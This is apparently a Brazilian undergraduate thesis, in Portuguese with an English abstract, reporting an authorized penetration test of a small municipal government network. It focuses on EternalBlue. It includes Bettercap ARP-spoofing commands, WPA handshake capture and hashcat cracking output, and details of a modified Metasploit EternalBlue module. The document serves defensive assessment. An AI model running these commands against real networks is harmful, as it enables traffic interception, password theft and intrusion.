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RESUMO

A tecnologia se tornou mais presente em nossas vidas, principalmente na pandemia
causada pela Covid-19, onde muita coisa foi automatizada, incluindo aulas e outras
atividades educacionais. Informacédo é a moeda de muita empresa e de cibercriminosos,
que muitas das vezes sequestram tais dados e exigem dinheiro em troca. No caso de um
orgao publico, informagdes e dados pessoais ndo € a moeda do governo, mas sao de
cibercriminosos, que vendem para a Dark Web. Este trabalho teve como objetivo analisar
a seguranca da informagao de um ambiente publico de pequeno porte, analisando desde
sua estrutura & seguranca direta das maquinas com o minimo de interferéncia pessoal. E
demonstrado as vulnerabilidades encontradas, o que foi adquirido e o perigo que poderia
ocorrer se as informacgdes adquiridas caissem em maos erradas. O foco do trabalho foi na
vulnerabilidade Eternalblue (CVE-2017-0146).
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ABSTRACT

Technology has become more present in our lives, especially in the Covid-19 pandemic,
where a lot has been automated, including classes and other educational activities.
Information is the currency of many companies and cybercriminals, who often hijack such
data and demand money in return. In the case of a public agency, personal information and
data is not the currency of the government, but are of cybercriminals, who sell to the Dark
Web. This work aimed to analyze the security of information in a small public environment,
analyzing from its structure to the direct safety of the machines with minimal personal
interference. It demonstrates the vulnerabilities found, what was acquired, and the danger
that could occur if the acquired information fell into the wrong hands. The focus of the work
was on the Eternalblue vulnerability (CVE-2017-0146).
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1 INTRODUGCAO

A informacao hoje se tornou o bem mais precioso para as empresas conforme a
competi¢do se torna mais acirrada. Através disso, a inovagéo e crescimento no mercado
depende muito da tecnologia, e com ela, vem a seguranga delas. Com isso, vem o perigo
de ataques cibernéticos, correndo risco da organizacao ter suas informacdes roubadas,
sequestradas ou até mesmo intencionalmente deletadas por completo.

Mesmo com o facil acesso a informag¢des sobre seguranga e o perigo de ataques
cibernéticos, ha empresas (geralmente de pequeno e médio porte) que ainda usam
softwares e sistemas operacionais ja defasados, que sdo uma brecha facil para
cibercriminosos. A responsabilidade do profissional de Tl é evitar que isto ocorra e alertar
os diretores da organizagéo sobre os perigos, mostrando a melhor solugao possivel.

O estudo se deve demonstrar a importancia da seguranga de um ambiente publico,
onde dados pessoais dos cidaddos e informagdes delicadas estdo em constante
movimento. Saber que tais informacdes estao seguras ou nao, é de extrema importancia
da populagdo nos dias de hoje, ndo importando o método usado, como a caixa preta’ (black
box), caixa cinza (grey box) e caixa branca (white box).

Testar a seguranga € necessario para prevenir futuros ataques ou acidentes como
nos recentes ocorridos do Sistema Unico de Satde (SUS) e universidades federais. Apesar
da diferenga entre um ambiente publico municipal e um federal ser grande, o estudo tem
como seu objetivo demonstrar o quao € necessario melhorar a seguranga ou se esta de
acordo com as normas da ISO/IEC 27002 e seus funcionarios atentos a Politica de
Seguranca da Informacéao, se houver uma.

Geralmente, essas informacgdes sdo dados pessoais ou assuntos importantes da
gestdo, e por conta disso, hd uma constante necessidade de se comunicar com 0s
servidores governamentais. Dados pessoais sao valiosos para criminosos, principalmente
golpistas, que usam esse tipo de informacéo para enganar a vitima e tirar o maximo de
dinheiro que pode dela.

Analisar e testar a seguranca é um investimento para nao ter prejuizos futuros com
ataques cibernéticos ou até mesmo de engenharia social. A area da seguranca da

informacao sempre tem que estar em constante investigacao, e se nao for estudada ou no

'Black box é a definigdo utilizada para o estilo de teste usado no penetration testing. Nele, o pen tester ndo

tem informacgdes sobre o alvo, sendo o cenario mais auténtico. Ha outros tipos de estilo de testes: white box
e grey box. O white box é onde o tester tem acesso a muita coisa, incluindo credenciais. O grey box é onde
o tester tem acesso limitado. O black box é o mais caro entre eles.



minimo analisada, ha grandes riscos de brechas, ataques cibernéticos, roubos e sequestros
de dados, infestacdo de malwares, e entre outros, podendo levar até mesmo a faléncia uma
organizacao privada. No caso de 6rgaos publicos, pode gerar desconfianga na gestéo, pois

o objetivo do mesmo é mostrar confianga e estabilidade.
2 REFERENCIAL TEORICO
2.1 Seguranga da Informagao

De acordo com Fontes (2006, p. 11), a seguranga da informacao é “o conjunto de
orientagdes, normas, procedimentos, politicas e demais agbes que tem por objetivo
proteger o recurso informagao, possibilitando que o negdcio da organizagéo seja realizado
e a sua missao seja alcangada”. A ISO/IEC 27002, define a seguranga da informag&o em
sua secao introdutéria como “a protecdo da informacao de varios tipos de ameacas para
garantir a continuidade do negocio, minimizar o risco ao negécio, maximizar o retorno sobre
os investimentos e as oportunidades de negocio”. Vai atuar com o intuito de melhorar a
gestdo de segurancga da informacéo apontando quais sdo as formas mais adequadas para
se garantir a integridade do sistema.

De acordo com Fontes (2006, p. 11)

A seguranca da informacgao existe para minimizar os riscos do negécio em
relacdo a dependéncia do uso dos recursos de informagdo para o
funcionamento da organizacdo. Sem a informagao ou com uma incorreta, o

negocio pode ter perdas que comprometem o seu funcionamento e o retorno
de investimento dos acionistas.

Vale-se observar como dito por Fontes (2006) que a seguranca da informacéo vai
além do funcionamento da organizagdo, podendo comprometer também a qualidade do
servico, afetando diretamente o setor financeiro e marketing, dando uma imagem ruim do
mesmo.

Segundo os padrdes da ISO/IEC 27002, os atributos basicos da seguranca da
informacao sao:

» Confidencialidade: limita o acesso a informagao apenas as pessoas autorizadas.

* Integridade: a informacao deve-se manter correta, verdadeira e nao corrompida.

» Disponibilidade: garante que a informacao deve estar acessivel para o alcance de
seus objetivos.

+ Autenticidade: a informagéo deve estar garantida da fonte anunciada e que nao foi

alvo de alteragbes ao longo do processo.



Na seguranga da informagédo deve-se proporcionar meios eficientes para evitar
possiveis riscos ao ambiente das organizagbes. Fontes (2006) reforca que € essencial
implementar a solugao ideal e mais adequada para a situagao para proteger a informacao,
onde é a adequada com o risco e possivel impacto que pode sofrer caso a protecao contra
ameacas possam ser quebradas.

Segundo Resende e Barbosa (2013), “Para que as empresas tenham a garantia de
segurancga de suas informacdes, sdo necessarios profissionais para atuarem nos setores
de informatica, que estejam preparados e atualizados”, reforcando que é de extrema

importancia funcionarios qualificados para manter as informag¢des da organizagao seguras.
2.2 Politica de Seguran¢a da Informacao

De acordo com a ISO/IEC 27002, o objetivo principal da politica de seguranga da
informacgé&o € “prover uma orientagéo e apoio da dire¢ado para a seguranga da informagao
de acordo com os requisitos do negocio e com as leis e regulamentagdes pertinentes”.

Conforme Antunes e Moreira (2015, p. 117)

A Politica de Seguranga da Informagdo é basicamente um manual de
procedimentos que descreve como 0s recursos de que manipulam as
informacdes da empresa devem ser protegidos e utilizados, e é o pilar da

eficacia da Seguranca da Informacado, estabelecendo investimentos em
recursos humanos e tecnoldgicos.

Andrade (2017) explica a importancia de se estabelecer a politica de seguranca,
pois através dela é que se define as regras, normas e procedimentos que visam a utilizagao
de recursos de forma confiavel dentro da organizacéo.

Machado (2014) destaca que a politica de seguranga € projetada para garantir que
a triade de seguranca (integridade, confidencialidade e disponibilidade) sejam mantidas.
O autor explica que “Na politica de seguranca de uma empresa, a gestao estabelece como
um programa de seguranca sera criado e as metas deste programa, atribui as
responsabilidades, mostra o valor estratégico e tatico da seguranga e descreve como a
aplicagao desta politica deve ser realizada”. Ele ainda reforga que o objetivo da politica de
seguranca € prever as bases da garantia da seguranca de informacao da organizagao.

Em Antunes e Moreira (2015, p. 118) “uma politica de seguranga da informacéo
implantada com sucesso torna a empresa assegurada do mau uso de seus dados e faz
com que os seus colaboradores mais propicios a terem um melhor rendimento no trabalho”.
O autor completa explicando que o sucesso da elaboragado e implementacao depende do

envolvimento da alta administragao e geréncias superiores.



A ISO/IEC 27002 ressalta que a “estrutura de gerenciamento seja estabelecida para
iniciar e controlar a implementagao da seguranga da informagao dentro da organizagao”.
Nela, a direcdo responsavel pela organizagao tera que aprovar a politica de seguranga da
informagao, atribuir as fungbes de seguranga, coordenar e analisar de forma critica a
implementagéo da seguranga da informacao.

Ainda na ISO/IEC 27002, a politica de seguranga da informagéo deve-se ter um
gestor capaz de ter responsabilidade aprovada para desenvolvimento, analise critica e

avaliagao da politica de segurancga da informacao.
2.3 Vulnerabilidades

Para Machado (2014) “Vulnerabilidade pode ser um software, hardware ou falha de
um processo que pode fornecer a um atacante uma porta aberta que ele esta a procura,
para entrar em um computador ou rede e ter acesso nao autorizado aos recursos dentro
deste ambiente”. Ainda de acordo com o autor, as vulnerabilidades sao brechas que, ao
serem exploradas por invasores mal-intencionados, afeta a confidencialidade,
disponibilidade e integridade das informagdes de uma pessoa ou organizagao.

De acordo com Assuncgao (2014, p. 29), ha seis tipos de falta de seguranga: 1)
configuragbes malfeitas; 2) softwares com falhas; 3) redes desprotegidas; 4) protegdes
ineficazes; 5) falta de atualizagdes e 6) fator humano.

1. Configuragdes malfeitas: E o primeiro motivo da falta de seguranca, como senhas
fracas, pastas e arquivos importantes expostos a rede do ambiente, computadores
que podem ser acessadas por qualquer pessoa, switchs e roteadores com contas
de usuario padrao, etc.

2. Software com falhas: Podem serem usados para se infiltrar ou atrapalhar a pessoa
que utiliza tal programa falho. Muitos programas hoje atualizam sozinhos, mas
alguns usuarios esquecem de ativar a atualizacdo automatica ou simplesmente
usam um computador antigo que nao tem suporte a novas versodes de tal software.

3. Redes desprotegidas: Envolve varios tipos de vulnerabilidades, sendo as principais
mencionadas por Assungéao (2014, p. 30): falta de criptografia, que envolve utilizar
HTTPS em vez de HTTP; redirecionamento de trafego, que de acordo com Assungao
(2014, p. 30), € onde as maquinas da rede podem ser alvos de ARP POISONING,
DHCP SPOOFING, ICMP REDIRECT ou PORT STEALING; e spoofing.

4. Protegoes ineficazes: Sao ferramentas como antivirus, proxys e filtros, mas que

sofrem muitos problemas de seguranca. Um exemplo mencionado por Assungéo



(2014, p. 31) sobre filtro de pacotes € “mesmo negando o acesso a todas as portas
no trafego de entrada da rede, um atacante ainda poderia acessar uma maquina
realizando uma conexao reversa com tunelamento por http ou ICMP”.

5. Falta de atualizacdes: Ele abre varios fatores para grandes riscos a seguranca.
Assuncéo (2014, p. 31) exemplifica do porque isso acontece, mencionando que
“muitos usuarios tém resisténcia a baixar e instalar patches por contra prépria”. Em
alguns casos, os proprios patches podem abrir novas brechas, causando os famosos
zero-day exploits. Softwares muito antigos, como Windows XP e 7, ja foram
abandonados por Microsoft, logo, ndo ha mais patches de corregao a esses sistemas
operacionais, sendo um risco enorme ao usuario.

6. Fator humano: Segundo Assungao (2014, p. 31), o fator humano é o mais fragil
deles.

Através de técnicas de Engenharia Social, a manipulagao do fator humano
causa enormes desastres como: fazer um usudrio rodar um cavalo de troia

sem saber, conseguir informagdes privilegiadas sobre a empresa, obter
especificagdes de um novo produto, etc.

Um exemplo recente sobre a falta de atualizagdes é o Eternalblue, exploit descoberto
pelo grupo Shadow Brokers no ano de 2017, se espalhou pelo mundo inteiro atacando
sistemas operacionais como Windows 7, Windows Server 2008, Windows XP e até mesmo
Windows 10 na porta 445 (como demonstrado na Figura 2). Conforme SentinelOne (2019),
havia em torno de 1 milhdo de maquinas vulneraveis para o Eternalblue no mundo, sendo
400 mil nos Estados Unidos da América (como demonstrado na Figura 1), mesmo apés a

correcao estar disponivel ha mais de 2 anos para os sistemas vulneraveis.



Figura 1 — Resultado das maquinas vulneraveis ao Eternalblue
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Fonte: SentinelOne, 2019

Figura 2 — Resultado detalhado dos sistemas operacionais vulneraveis ao Eternalblue

"Windows Server 2012 R2 Standard 9600": 352,886
"Windows Server 2008 R2 Enterprise 7601 Service Pack 1": 111,331
"Windows Server 2008 R2 Standard 7601 Service Pack 1": 67,761
"Windows Server 2008 R2 Datacenter 7601 Service Pack 1": 57,295
"Windows Server 2016 Standard 14393": 53,005
"Windows Server 2012 R2 Datacenter 9600": 47,122
"Windows 7 Professional 7601 Service Pack 1": 36,454
"Windows 7 Ultimate 7601 Service Pack 1": 33,886
"Windows 10 Home 17134: 29310": 29.310
"Windows 7 Home Premium 7601 Service Pack 1": 26,781

Fonte: SentinelOne, 2019

2.4 Um investimento essencial

Vazamentos de dados e senhas tém sido mais comum nos ultimos anos. O mais
recente e preocupante foi o vazamento de dados de mais de 223 milhdes de brasileiros,
sendo que ha em média 221 milhdes no pais. A possibilidade é que muitos desses dados
sdo de pessoas ja mortas. De acordo com Rohr (2021), as informagdes vazadas incluem
CPF, data de nascimento, dados de escolaridade, beneficio do INSS e programas sociais,
renda e score de crédito. Esses dados foram colocados a venda na web por criminosos.

Segundo Arimathea et al. (2021), menciona “(...) especialistas de empresas, de
universidades e do terceiro setor mostram que ha por aqui um terreno fértil para acao de

cibercriminosos e incidentes de ciberseguranca”. No indice Global de Ciberseguranca,



publicado em 2019, o Brasil ocupa a 70.2 posi¢ao, e isso reflete no numero de ataques e
roubos de dados nos ultimos anos. Mesmo com a Lei Geral de Prote¢cao de Dados (LGPD),
que foi aprovada em 2018, ainda ndao pode multar os responsaveis pelos vazamentos, pois
a Autoridade Nacional de Protecao de Dados (ANPD) é quem fiscalizara e aplicara as
devidas multas, mas so tera vigéncia a partir de agosto de 2021 (ARIMATHEA et al., 2021).

A administragdo publica brasileira é a quarta mais afetada em todo o mundo sobre
vazamento de senhas de e-mail, sendo 3,2 bilhdes no total em todo o mundo, ocorrido em
fevereiro de 2021 (ARIMATHEA et al., 2021). Nesse vazamento, 68.535 eram senhas de
e-mails hospedados em enderecos “gov.br’, usados na administragao publica brasileira, e
outras 4.589 dos dominios “jus.br’, usados pelo Judiciario. Entretanto, ndo se sabe se as
senhas expostas sédo antigas, pois se trata de informagdes com origens distintas, podendo
conter dados antigos e invalidos nos dias de hoje.

Na publicagédo de Cruz e Baptista (2021), a rede do Ministério da Saude foi invadida
em janeiro de 2021 por um hacker, mas ndo houve vazamentos de dados. O invasor deixou
uma mensagem na rede do FormSUS, uma plataforma que serve para agrupar dados
coletados de pacientes atendidos pela rede publica. O hacker deixou um recado na
mensagem de alerta da plataforma dizendo que qualquer um que tenha habilidade minima
de invasao poderia invadir a rede, e finalizou deixando uma solugéo para o problema.

A preocupagdo com a seguranga da informagao nédo é s6 nos setores publicos.
Arimathea et al. (2021) menciona que empresas privadas no Brasil investem pouco na
seguranga, com isso, receberam incentivo a mais da parte dos criminosos. O especialista
Alexandre Bonatti menciona que somente 2% do orcamento total das companhias
brasileiras é dedicado a ciberseguranga, sendo que a média mundial € 10%, mas melhorou
um pouco de 2% para 5% na pandemia do Covid-19. O tipo mais comum de ataque contra
empresas é ransomware, deixando o Brasil sendo o segundo maior alvo no mundo, ficando
atras dos Estados Unidos. Mesmo quando as empresas querem contratar um profissional
de ciberseguranga, o mesmo nao se encontra facilmente no mercado, pois ha uma baixa
formacgao nas universidades, e quando se encontra, estes saem do Brasil (ARIMATHEA et
al., 2021).

Um exemplo de megavazamento por empresa privada nos ultimos meses mostrado
por Arimathea et al. (2021) é da operadora Vivo, onde teve mais de 100 milhdes de celulares
expostos na rede, sendo que no ano de 2019 a mesma admitiu que uma falha expds dados
de mais de 24 milhdes de clientes. Essas mesmas informagdes podem ter voltado a circular

no ano de 2021 por conta da alta de ataques na pandemia.



Em junho de 2021, mostrado pelo site BBC, um ataque cibernético deixou uma
grande empresa brasileira de processamento de carnes, a JBS, inativa em 3 paises,
podendo ter sérias causas de atrasos nas entregas e aumento nos pregos dos produtos.
O ataque por ransomware fez com que operacgdes na Australia, Canada e Estados Unidos
fossem temporariamente fechadas, afetando milhares de trabalhadores. De acordo com o
site G1 (2021), 7 dias apds o ataque, a empresa JBS pagou US$ 11 milhdes aos invasores,
tendo o objetivo de reduzir problemas relacionados a invaséao e evitar vazamento de dados,
mesmo o governo dos Estados Unidos recomendando que as empresas nao pagassem 0S

criminosos por ataques de ransomwatre.
2.5 O cibercrime nao escolhe tamanho

Nao sao so os 6rgaos publicos federais e estaduais que sao alvos de ataque. Na
redacdo do site Monitor Mercantil (2021), o diretor de Professional Services da Scunna,
Ricardo Dastis, disse que as prefeituras sdo os 6rgdos mais expostos aos ataques. Nos
ultimos 2 anos, os ataques ocorriam e nada era feito para os gestores aumentarem a
seguranga. Isso se trata de um assunto muito grave, pois ocorre roubo de dados e até
recursos.

Segundo na redacéo (2021), em abril de 2021, uma prefeitura no interior do Rio
Grande do Sul, Piratini, sofreu um ataque causando um prejuizo de R$ 528 mil. No fim de
2020, outra prefeitura, Candiota, também no Rio Grande do Sul, teve quatro sistemas
invadidos que eram usados pela mesma, tendo dados sequestrados e um ransomware.
Ainda em 2021, o Sistema Digital de Fiscalizacdo da Prefeitura de Belo Horizonte foi
invadido, onde os invasores haviam deixado mensagens que atacavam diretamente o
prefeito. A prefeitura de Santa Cruz do Sul, interior do Rio Grande do Sul, teve o site
invadido. O mais alarmante das mencionadas na redagao da invasdes nas prefeituras € o
que ocorreu em marco de 2020, em Imbuia de Santa Catarina, com apenas 6.200
habitantes, onde os invasores invadiram 10 contas bancarias da prefeitura e roubaram
cerca de R$ 2 milhoes.

De acordo com o site Monitor Mercantil (2021), na pesquisa de Cyberattacks
Targeting Latin America, entre fevereiro e abril de 2021, o Brasil ocupa a sétima posi¢cao
mundial como principal fonte de trafego contaminado, com 7 milhdes de malwares.
Segundo o levantamento da Fortinet na redacédo, na pandemia, os ataques tém sido
alarmantes, ultrapassando a marca de 8,4 bilhdes em 2020, representando um crescimento

de mais de 350% no Brasil. Isso se da por conta da falta de investimento em estrutura



tecnoldgica e do cenario causado pela Covid-19, onde muitas coisas foram automatizadas
e dependentes de servidores.

Ainda na redacéao do site Monitor Mercantil (2021) “Dados da McAfee apontam que
os prejuizos gerados por cibercriminosos somaram mais de US$ 1 trilhdo. Comparado ao
ultimo levantamento da companhia de 2018, o aumento dessa cifra foi maior que 50% em
dois anos”. A preocupagao com a segurancga digital despertou interesse nas empresas em

investir apds a Lei Geral de Protegcao de Dados (LGPD) estar entrando em vigor.
3 METODOLOGIA

O objetivo deste trabalho é analisar a seguranga da informag¢ao no ambiente publico,
especificamente de pequeno porte. Para isso, foram utilizados métodos das pesquisas
bibliograficas para conhecer melhor as estruturas basicas e recomendadas da segurancga
da informagédo de uma organizagdo. Os métodos para invasdes e como fazé-las foram de
acordo com video-aulas lecionadas por Zaid Sabih? e Aleksa Tamburkovski® na plataforma
Udemy. A classificacdo dos testes € a caixa preta (black box) onde ndo se tem nenhum
conhecimento e acesso da organizagao.

As ferramentas escolhidas foram de acordo com a necessidade dos testes, utilizando
de algumas as recomendadas por Assunc¢ao (2014), Zaid Sabih e Aleksa Tamburkovski em
cada situagao. Também nas pesquisas bibliograficas, foi possivel saber quais os tipos mais
comuns de vulnerabilidades e erros cometidos. O foco é a vulnerabilidade do cédigo CVE-

2017-0146, conhecido também como Eternalblue.
3.1 Ferramentas

O aircrack-ng é uma ferramenta gratuita e de cédigo aberto para detectar redes,
sniffer de pacote, aplicativo de quebra de WEP e ferramenta de analise para redes locais
sem fios 802.11. Seu funcionamento com placas de rede que suportam o modo de
monitoramento podem capturar e analisar trafegos 802.11a, 802.11b e 802.11g. A
ferramenta vem com um pacote de aplicagdes separadas, cada um com propositos
diferentes, mas todos envolvendo a aplicagao na rede. Foi utilizado configuragado padrao

na ferramenta. As aplicacdes utilizadas no trabalho foram:

» aircrack-ng: Quebra de chaves WEP e WPA/WPA2-PSK.

2Disponivel em: <https://www.udemy.com/course/learn-ethical-hacking-from-scratch/>. Acesso em: 4 de
margo de 2021.

3Disponivel em: <https://www.udemy.com/course/complete-ethical-hacking-bootcamp-zero-to-mastery/>.
Acesso em: 6 de margo de 2021.
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+ aireplay-ng: Injecado de pacotes, sendo um deles podendo causar desautenticagcéo
na rede para pegar o WPA handshake, agilizando a captura do mesmo.
« airodump-ng: Usado para capturar o trafego da rede em um arquivo .cap, mostrando

as informacodes da rede.

O hashcat € uma ferramenta gratuita e de cddigo aberto para recuperagao de senha,
suportando 5 modos unicos de ataque, mas foram utilizados apenas dois deles: direto e
forga bruta. O ataque direto tenta todas as palavras de uma lista (ou wordlist). O ataque de
forca bruta e de mascara (ou mask) tenta todos os caracteres usados no charsets
disponiveis na ferramenta. Nele € possivel fazer o uso de placa de video para as quebras
de senhas, agilizando muito o processo. A placa de video usada nos testes é a NVIDIA
GeForce GTX 970 e foi utilizado configuragao padrao da ferramenta.

Nmap (Network Mapper) € uma ferramenta gratuita e de cdodigo aberto, sendo
utilizado para descobrir servicos e servidores em uma rede de computadores, avaliar a
seguranga e escanear as portas. Sua utilidade é vasta e pode até mesmo escanear
vulnerabilidades das maquinas na rede, incluindo ver a versao do sistema operacional e
firewall usados. Sua utilizacdo foi constante durante os testes, pois os IP’s mudavam,
indicando que alguns computadores utilizavam a aquisi¢do de IP de forma aleatéria. Foi
utilizado configuracao padréo da ferramenta.

Para analisar se a rede tem protecao contra ataques man-in-the-middle, foi utilizado
a ferramenta Bettercap. Nele, o invasor pode ver todo o trafego de rede, analisando o que
cada maquina conecta e possiveis informagdes sensiveis caso a vitima esteja navegando
em sites com o protocolo HTTP. Foi utilizado um pequeno script para agilizar o processo

de ligar os médulos necessarios para o ataque. Os seguintes comandos eram:

e set arp.spoof.fullduplex true

e set arp.spoof.targets 192.168.25.1/24
e arp.spoof on

¢ set net.sniff.local true

e net.sniff on
Para executar o Bettercap juntamente com o script, foi utilizado o seguinte comando:

e sudo bettercap -iface wlp2s0 -caplet spoof.cap
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Nexpose € uma ferramenta paga criada pela Rapid7, com 1 més de teste gratis, e
cédigo fechado, sendo utilizado para escaneamento de vulnerabilidades. A escolha da
ferramenta se da ao teste de 1 més gratis, dando total controle ao usuario sem interrupgdes
ou limites de escaneamentos. Com Nexpose foi possivel fazer um escaneamento de toda
a rede em busca por vulnerabilidades, dando um gréfico intuitivo e uma lista de gravidade
de cada uma delas. Seu banco de dados sobre as vulnerabilidades € vasta. Foi utilizado
configuragcéo padrao da ferramenta.

Metasploit € uma ferramenta gratuita (contendo versao paga) e de cédigo aberto,
sendo utilizado para facilitar os testes de penetragdo, permitindo que o usuario escreva,
teste e execute o codigo de exploit. A ferramente é pertencente a empresa Rapid7. Ele
contém uma extensa lista de ferramentas mais utilizadas para testes de seguranga. Com
ele, foi possivel explorar as maquinas vulneraveis ao Eternalblue. Foi utilizado um médulo
modificado, demonstrado na Figura 3.

O Arch foi a distribuicdo Linux escolhida para os testes. Apesar de existirem
distribuicbes mais voltadas para o Penetration Test, como o Kali Linux e Parrot OS, a
preferéncia pela escolha pelo Arch se deu pela experiéncia pessoal da autora e pelo fato
da distribuicdo ser rolling release, fazendo com que as ferramentas estejam sempre com

as versdes mais recentes.
3.2 Reconhecimento do local

Os testes foram realizados na prefeitura de Tarumirim - MG, entre os meses de abril
e maio do ano de 2021, finalizando alguns detalhes em setembro. Foi autorizado pelo Chefe
de Informatica e Sistema que os testes poderiam ser feitas, mas nao foi permitido perturbar,
impedir e prejudicar os funcionarios de seu trabalho. A autorizagdo se encontra no Anexo
A. Os dados sensiveis e pessoais adquiridos serdo demonstrados no trabalho de forma
anbnima e nunca compartilhados. Apés o término dos testes, os dados foram excluidos.

Em média, haviam 3 computadores em cada sala, dando um total aproximado de 60,
sendo 2 deles usados como servidor: um para e-sus e outro para o sistema integrado. Cada
funcionario € responsavel por apenas um computador, mas era trocado caso houvesse
necessidade de mudanca ou manutengcdo. Boa parte das maquinas ainda executam o
sistema operacional Windows 7, que parou de receber suporte da Microsoft em janeiro de
2020. Haviam também varias conexdes Wi-Fi, todas com senhas.

Todos os computadores, incluindo dispositivos moveis, conectam-se em uma unica

rede local. A configuragdo da rede é de forma basica, sem nenhum tipo de monitoramento
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ou fixagdo dos IP’s em cada dispositivo. Este tipo de configuragdo facilita quando ha
mudangas o tempo todo, mas também ajuda o invasor a utilizar de ataques como spoofing
e redirecionamento de trafego sem ser interrompido em momento algum. Os computadores
sdo conectados via cabo de rede, todos organizados e longe de possiveis acessos
externos. O backbone da rede do prédio, onde os cabos de rede dos computadores

conectam na internet, estava trancada e longe do alcance de pessoas nao autorizadas.
3.3 Varredura

Para a aquisicdo dos handshakes, foi utilizado um adaptador USB Wi-Fi da TP-Link
TL-WN821N, pois ele possui 0 modo de monitoramento, permitindo que ele monitore todo
o trafego recebido das redes wireless do local. Apds a aquisigdo da senha de um dos Wi-
Fi do local, foi feito um escaneamento por vulnerabilidades utilizando a ferramenta
Nexpose. Antes de iniciar os testes dentro da rede, foi feito uma analise e observagao no
acesso FTP do sistema integrado da prefeitura. Nele foi possivel adquirir algumas
informagdes com dados pessoais de alguns cidadaos como mostrado na Figura 8.

O teste feito na rede foi utilizando o tipo de ataque ARP spoofing, que faz com que
o invasor envia mensagens de um Protocolo de Resolugdo de Enderegos na area da rede
local. O invasor associa o endereco MAC dele com o endereco IP do hospedeiro. Com o
ataque sendo executado, o invasor pode interceptar os quadros de dados da rede invadida,
modificar o trafego ou interromper o trafego, mostrado na Figura 9. Este tipo de ataque é
geralmente usado para negacgédo de servico, ou DoS (Denial of Service), e man-in-the-
middle. Nao foi possivel utilizar o ataque DoS por conta do acordo feito com a prefeitura de

nao prejudicar o funcionamento da mesma durante os testes.
3.4 Exploragdo da vulnerabilidade Eternalblue

Para invadir as maquinas vulneraveis ao Eternalblue, foi usado um modulo*
modificado do Metasploit para melhores resultados. Os testes foram feitos entre os meses

de abril e maio.

“4Disponivel em: <https://github.com/Telefonica/Eternalblue-Doublepulsar-Metasploit>. Acesso em: 17 de
abril de 2021.
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Figura 3 — Informagao basica do mdédulo e dos sistemas operacionais que afeta
msf6 exploit(

Name: EternalBlue
Module: exploit/windows/smb/eternalblue_doublepulsar
Platform: Window
Arch: x86, xb64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: MNormal

Provided by:
Pablo Gonzalez ( <Pablo Gonzalez (@pablogonzalezpel=
Sheila A. Berta ( <Sheila A. Berta (@UnaPibaGeek)=

Available targets:
Id Name
Windows XP (all services pack) (xB6) (x564)
Windows Server 2003 ® (x86)
Windows Server
Windows Server
Windows Vista (
Windows Vista
Windows Serwver
Windows Serwver 2008 R2
windows 7 (all services pack) (x86) (x64)

=@

¥ R R U N |

L~ o

Fonte: Captura de tela obtido pela autora

Com o acesso ao computador através da vulnerabilidade, € possivel baixar os
documentos salvos, verificar o que tem instalado, fechar e abrir programas, e podendo
enviar e executar outros softwares sem a necessidade do usuario fazé-lo. O invasor tem
total controle sobre o computador, incluindo escanear o teclado da vitima como
demonstrado na Figura 13, onde é possivel adquirir em forma de texto o que a vitima digita

e até mesmo tirar captura de tela, mostrado na Figura 12.
4 RESULTADOS

Esta secao apresenta informacdes obtidas apos a execugao dos testes no ambiente
da prefeitura. Nela estdo todas as vulnerabilidades mais relevantes e perceptiveis. Os
resultados obtidos sao apresentados por nivel de perigo das vulnerabilidades de acordo

com a lista feita pelo Nexpose, comegando pelo menos critico.
41 Acesso arede

Para fazer os testes, € necessario ter acesso a rede da prefeitura. Haviam varios
sinais Wi-Fi no local, e de acordo com a analise do airodump-ng, 5 deles eram bem
movimentados: CHEFE DE GABINETE, CPD2, INFORMATICA, TESOURARIA e
GABINETE. Foi possivel adquirir o handshake de todos eles, um exemplo € apresentado

na Figura 4.
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Figura 4 — Aquisicdo do WPA handshake do Wi-Fi com nome de TESOURARIA

CH 11 ][ Elapsed: 3 mins ][ 2821-84-13 10:41 ][ WPA handshake: 80:1A:3F:E6:90:AD

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

08:1A:3F:E6:98: -66 P 1671 LA 32098 -1 135 WPA2 CCMP PSK TESOURARIA

BSSID STATION PWR Rate Lost Frames Notes Probes

00:1A:3F:E6:90: Ad:63:A1:54:85: -83 6e- 2Ze 941 EAPOL TESOURARIA
0@:1A: - - - 70:BB:E9: - - -79 2d4e- 1le 1 5023
00:1A:3F:EG:90: 38:9A:F6:F&8:F4: -62 2e- Ge 13962
00:1A: - :00: AE:40:68: - 7 -83 5e- 1le 851
00:1A: - - - E2:78:79: - E -95 2de- 1le 54219
00:1A: : : : 8B:B5: 2 : -181 2e- le 1683

Fonte: Captura de tela obtido pela autora

Meses apos a aquisi¢ao dos handshakes, foram removidos os Wi-Fi do ultimo andar
do prédio, sendo eles o TESOURARIA e INFORMATICA, sobrando apenas os CPD2,
CHEFE DE GABINETE e GABINETE.

Para a quebra de senha dos Wi-Fi, foi escolhido a tentativa de uso de wordlist, uma
lista de palavras, numeros e caracteres especiais aleatérios. Para isso, foi usado a
ferramenta hashcat para a quebra de senha utilizando varias wordlists de tamanho médio
adquiridas no site Weakpass®, entre 100MB a 700MB. Apenas o Wi-Fi GABINETE teve
sucesso e a quebra de senha durou apenas 12 minutos e 20 segundos, conforme pode ser

visto na Figura 5.

SDisponivel em: <https://weakpass.com/>. Acesso em: 19 de abril de 2021.
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Figura 5 — Quebra de senha do Wi-Fi GABINETE

57b8691b98fb5b6df7b54632ef29b9cd: @c8863be832a: 1cccdbB82a901: GABINETE : 24

Session : hashcat

Status : Cracked

Hash.Mode : WPA-PBKDF2-PMKID+EAPOL

Hash.Target : gabinete

Time.Started : Wed Apr 22 23:14:39 2821 (12 mins, 20 secs)
Time.Estimated...: Wed Apr 22 23:26:59 2021 (0 secs)

Kernel.Feature...: Pure Kernel

Guess.Base : File (kaonashildM.txt)

Guess.Queue : 171 (100.00%)

Speed.#1 - 12672 H/s (7.73ms) @ Accel:16 Loops:8 Thr:256 Vec:1
Recovered : 1/1 (100.080%) Digests

Progress : 14099883/14344392 (98.29%)

Rejected : 4728155/140998603 (33.53%)

Restore.Point : 14022268/14344392 (97.75%)

Restore.Sub.#1...: Salt:0 Amplifier:8-1 Iteration:8-1

Candidate.Engine.: Device Generator

Candidates.#1 : 2007199129071991 -> 1020121w

Hardware.Mon.#1..: Temp: 62c Fan: 31% Util: 97% Core:1316MHz Mem:308084MHz Bus:16

Fonte: Captura de tela obtido pela autora

Apos a senha adquirida, foi possivel entrar na rede sem problemas e fazer um
escaneamento com a ferramenta nmap para uma rapida analise de quantos dispositivos
estavam conectados na rede. Haviam 63 dispositivos conectados no momento da analise,

indicando que a rede local do prédio é consideravelmente movimentada.
4.2 Escaneamento e FTP

